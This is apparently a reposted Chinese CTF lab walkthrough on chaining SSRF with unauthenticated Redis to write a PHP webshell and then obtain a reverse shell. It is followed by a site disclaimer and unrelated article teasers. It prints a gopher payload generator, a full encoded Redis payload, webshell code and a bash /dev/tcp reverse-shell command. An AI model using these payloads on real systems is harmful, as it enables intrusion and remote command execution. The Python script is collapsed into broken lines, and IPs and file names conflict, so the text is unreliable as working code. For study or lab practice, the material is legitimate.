利用 SSRF 和 Redis 未授權訪問進行內網滲透

目錄

環境搭建

?編輯

發現內網存活主機

?編輯

?

掃描內網端口

?編輯

利用 Redis 未授權訪問進行 Webshell 寫入

步驟1:生成 payload

????????方式1:使用python生成 payload

????????方式二:使用 Gopher 工具

步驟 2:寫入 Webshell(木馬)

?編輯

步驟 3:訪問 Webshell 獲取 flag

?編輯

反彈 Shell 獲取完整權限

步驟 1:修改 payload 生成反彈 Shell

步驟 2:監聽端口

步驟 3:觸發反彈 Shell


環境搭建

在本次實驗中,我們使用 Docker 環境進行測試。

  1. 解壓實驗包,搭建 docker 環境。

docker環境

web的dockerfile

主要利用代碼

redis服務器

  1. 通過 docker-compose up -d 啟動相關容器,初次啟動失敗。

  1. 發現 docker 版本問題,刪除 docker 版本 3,并嘗試重新拉取 Ubuntu 16.04 版本:

    docker pull ubuntu:16.04
    
  1. 重新啟動后,環境成功搭建,獲取內網 IP。

發現內網存活主機

使用phpinfo來看內網IP地址

我們使用抓包工具檢測內網存活主機,發現 172.18.0.2 存在 HTTP 服務,并返回 Go away

?

掃描內網端口

使用 burpsuite172.18.0.2 進行端口掃描,發現 6379 端口返回 Redis 報錯信息,說明目標主機上運行著 Redis 服務,并且可能存在未授權訪問漏洞。

利用 Redis 未授權訪問進行 Webshell 寫入

步驟1:生成 payload

????????方式1:使用python生成 payload

我們利用 Redis 服務器的 config set dirconfig set dbfilename 進行 Webshell 寫入。

Python 腳本生成 gopher 協議 payload,用于 SSRF 發送 Redis 命令:

import urllib
protocol="gopher://"
ip="172.22.0.2"    # 運行著 redis 的內網主機 IP
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="web.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]
if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print(payload)
????????方式二:使用 Gopher 工具

?GitHub 下載地址:Gopherus

該工具使用 Python2,生成 gopher payload。記得安裝

sudo apt update
sudo apt install python2 python2-dev
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py

# 下載并解壓后運行 install.sh
./install.sh

生成paload

root@lll-virtual-machine:/home/Gopherus-master# gopherus --exploit redis________              .__/  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \\______  /\____/|   __/|___|  /\___  >__|  |____//____  >\/       |__|        \/     \/                 \/author: $_SpyD3r_$Ready To get SHELLWhat do you want?? (ReverseShell/PHPShell): PHPShell #木馬語言Give web root location of server (default is /var/www/html): /var/www/html/upload #上傳路徑
Give PHP Payload (We have default PHP Shell): <?php system('cat /flag') ?> #一句話木馬Your gopher link is Ready to get PHP Shell: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0AWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. -----------Made-by-SpyD3r-----------

步驟 2:寫入 Webshell(木馬)

接下來我們將生成后的payload進行二次編碼

然后訪問

Redis 執行后,會在 /var/www/html/upload 目錄生成 shell.php,其中包含 webshell 代碼。

驟 3:訪問 Webshell 獲取 flag

成功寫入 web.php,使用 SSRF 訪問它:

/?url=http://172.18.0.2/upload/web.php

Webshell 內容:

<?php system("cat /flag");?>

訪問 web.php 后即可獲取 flag

成功執行遠程命令,獲取 flag

反彈 Shell 獲取完整權限

如果我們希望獲取完整的交互式 Shell,可以利用 bash 反彈 Shell 技術。

步驟 1:修改 payload 生成反彈 Shell

我們修改 shell 代碼,使其反彈 Shell:

<?php system("bash -c 'exec bash -i >& /dev/tcp/IP/端口 0>&1'");?>

步驟 2:監聽端口

在本機開啟 nc 監聽:

nc -lvnp 4444

步驟 3:觸發反彈 Shell

訪問:

/?url=http://172.17.0.2/upload/web.php

成功獲得 bash 交互式 Shell,即可進一步提權、查找 flag

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/75206.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/75206.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/75206.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【Vue2插槽】

Vue2插槽 Vue2插槽默認插槽子組件代碼&#xff08;Child.vue&#xff09;父組件代碼&#xff08;Parent.vue&#xff09; 命名插槽子組件代碼&#xff08;ChildNamed.vue&#xff09;父組件代碼&#xff08;ParentNamed.vue&#xff09; 代碼解釋 Vue2插槽 Vue2插槽 下面為你詳…

ORB-SLAM學習感悟記錄

orb特征點的旋轉不變性 利用灰度質心法求出的質心后&#xff0c;與形心連線所形成的角度如下圖所示&#xff1a; 這里容易對上圖進行誤解&#xff1a; 為了保證旋轉不變性&#xff0c;這里注意ORB-slam是利用這個角度旋轉坐標系&#xff0c;以新坐標系為標準從圖像中采點進行…

搜索算法------深度優先搜索

1. 介紹 深度優先搜索&#xff08;Depth-First Search&#xff0c;DFS&#xff09;是一種用于遍歷或搜索樹或圖的算法。這種算法通過盡可能深地搜索圖的分支來探索解決方案空間&#xff0c;直到達到一個沒有分支的點&#xff0c;然后回溯 1.1 原理 選擇起始點&#xff1a;從…

4.2 單相機引導機器人放料-僅考慮角度變化

【案例說明】 本案例產品在托盤中,角度變化不大(<15度);抓取沒有問題,只是放的穴位只能容許3度的角度偏差,因此需要測量產品的角度。 思路是:機器人抓料后、去固定拍照位拍照(找到與標準照片的角度偏差),機器人在放料的位置上多旋轉這個角度偏差,把產品放進去。 …

六級詞匯量積累day13

commend 表揚 exhaust 耗盡&#xff0c;用盡 weary 疲憊的&#xff0c;勞累的 fatigue 疲憊&#xff0c;勞累 obese 臃腫的&#xff0c;肥胖的 adopt 采納&#xff0c;收養 adapt 適應 accomplish 完成&#xff0c;實現 accomplishment 成就 achieve 實現&#xff0c;完成 achi…

醫院信息系統與AI賦能的介紹

隨著醫療行業的不斷發展&#xff0c;醫院信息系統&#xff08;HIS&#xff0c;Hospital Information System&#xff09;已經成為現代醫療服務不可或缺的一部分。醫院信息系統通過數字化、信息化手段&#xff0c;有效地整合了醫院內部的醫療、財務、后勤等各個業務環節&#xf…

突發,國行 iPhone 17,支持 eSIM

古人云“無心生大用”&#xff0c;往往你感到絕望的時候&#xff0c;轉機就莫名其妙的來了。 根據供應鏈的最新消息&#xff0c;國行 iPhone 17 Air&#xff0c;有望用上 eSIM。 不僅如此&#xff0c;國產手機廠商&#xff0c;也計劃推出類似iPhone 17 Air的超薄機型&#xf…

【C++項目】從零實現RPC框架「三」:項?抽象層實現

?? 個人主頁:Zfox_ ?? 系列專欄:C++從入門到精通 目錄 一:?? 常?的零碎功能接?類實現?? 簡單?志宏實現?? Json 序列化/反序列化?? UUID ?成二:?? 項?消息類型字段信息定義 ?? 請求字段宏定義?? 消息類型定義?? 響應碼類型定義?? RPC 請求類型定…

Hadoop集群常用指令詳解

在大數據處理領域&#xff0c;Hadoop作為分布式計算和存儲的開源框架&#xff0c;已經成為不可或缺的工具。掌握Hadoop集群的常用指令對于集群的日常管理和操作至關重要。本文將詳細介紹Hadoop集群的常用指令&#xff0c;幫助讀者更好地理解和使用Hadoop。 一、Hadoop集群的啟…

幾種常見的.NET單元測試模擬框架介紹

目錄 1. Moq 2. NSubstitute 3. AutoFixture 4. FakeItEasy 總結對比 單元測試模擬框架是一種在軟件開發中用于輔助單元測試的工具。 它的主要作用是創建模擬對象來替代真實對象進行測試。在單元測試中&#xff0c;被測試的代碼可能依賴于其他組件或服務&#xff0c;如數…

藍橋杯備賽之枚舉

用循環等方式依次去枚舉所有的數字組合&#xff0c;一一驗證是否符合題目的要求 題目鏈接 0好數 - 藍橋云課 題目解析 好數的概念: 數的奇數位位奇數,偶數位為偶數,就是一個好數 求輸入n里面有多少個好數 題目原理 1> 遍歷每個數 2> 每次遍歷判斷是不是好數 把這…

9、tlm 事務交互通信

1、TLM&#xff08;Transaction-Level Modeling&#xff09; 是 SystemC 的高級建模方法&#xff0c;用于描述系統的通信行為&#xff0c;特別是在硬件設計和驗證中。TLM 是 SystemC 的一部分&#xff0c;用于提高仿真的效率和抽象性。以下是 TLM 的核心知識以及關鍵概念。 2、…

小白入門機器學習概述

文章目錄 一、引言二、機器學習的基礎概念1. 機器學習的定義2. 機器學習的類型&#xff08;1&#xff09;監督學習&#xff08;Supervised Learning&#xff09;&#xff08;2&#xff09;無監督學習&#xff08;Unsupervised Learning&#xff09;&#xff08;3&#xff09;半…

smartdns 在企業場景中的應用心得

smartdns 是一款優秀的本地dns服務器&#xff0c;默認開啟的配置在小型環境下足夠使用(50臺終端)&#xff0c;在面對中大型網絡環境時&#xff08;100臺終端&#xff0c;且有多層網絡結構&#xff09;&#xff0c;需要增加更多的配置來確保穩定運行。 一、刪除注釋&#xff0c;…

【12】Ajax的原理和解析

一、前言 二、什么是Ajax 三、Ajax的基本原理 3.1 發送請求 3.2 解析內容 3.3 渲染網頁 3.4 總結 四、Ajax 分析 五、過濾請求-篩選所有Ajax請求 一、前言 當我們在用 requests 抓取頁面的時候&#xff0c;得到的結果可能會和在瀏覽器中看到的不一樣&a…

【 <二> 丹方改良:Spring 時代的 JavaWeb】之 Spring Boot 中的安全性:使用 Spring Security 實現認證與授權

<前文回顧> 點擊此處查看 合集 https://blog.csdn.net/foyodesigner/category_12907601.html?fromshareblogcolumn&sharetypeblogcolumn&sharerId12907601&sharereferPC&sharesourceFoyoDesigner&sharefromfrom_link <今日更新> 一、開篇整…

百元不入耳藍牙耳機哪個品牌好用?2025百元不入耳耳機品牌推薦

在選擇藍牙耳機時&#xff0c;許多用戶開始關注不入耳式設計&#xff0c;不僅能避免耳道不適&#xff0c;還能保持對環境音的感知&#xff0c;提升運動、通勤或日常使用的安全性。而在百元價位中&#xff0c;不入耳式耳機的品牌眾多&#xff0c;產品質量參差不齊&#xff0c;如…

如何加強 SSH 安全:內網和專用網絡環境下的防護策略

文章目錄 如何加強 SSH 安全&#xff1a;內網和專用網絡環境下的防護策略限制訪問來源通過防火墻或安全組限制網絡策略&#xff08;Network Policy&#xff09; 禁用密碼登錄&#xff0c;使用密鑰認證啟用 Fail2ban 或 SSH 防爆破限制 SSH 用戶更改 SSH 端口使用跳板機&#xf…

ngx_monotonic_time

Ubuntu 下 nginx-1.24.0 源碼分析 - ngx_monotonic_time函數-CSDN博客 定義在 src\core\ngx_times.c static ngx_msec_t ngx_monotonic_time(time_t sec, ngx_uint_t msec) { #if (NGX_HAVE_CLOCK_MONOTONIC)struct timespec ts;#if defined(CLOCK_MONOTONIC_FAST)clock_get…

【Trick】論文畫圖的icon來源

0&#xff1a;起因 群友在群里發了這種很好看的論文主圖 其中不乏有很多icon&#xff0c;比如open-ai、機器人的 于是想知道應該如何找到&#xff0c;便有了后文 1&#xff1a;網址 阿里巴巴矢量圖標庫&#xff1a;iconfont-阿里巴巴矢量圖標庫 2&#xff1a;使用方法 可…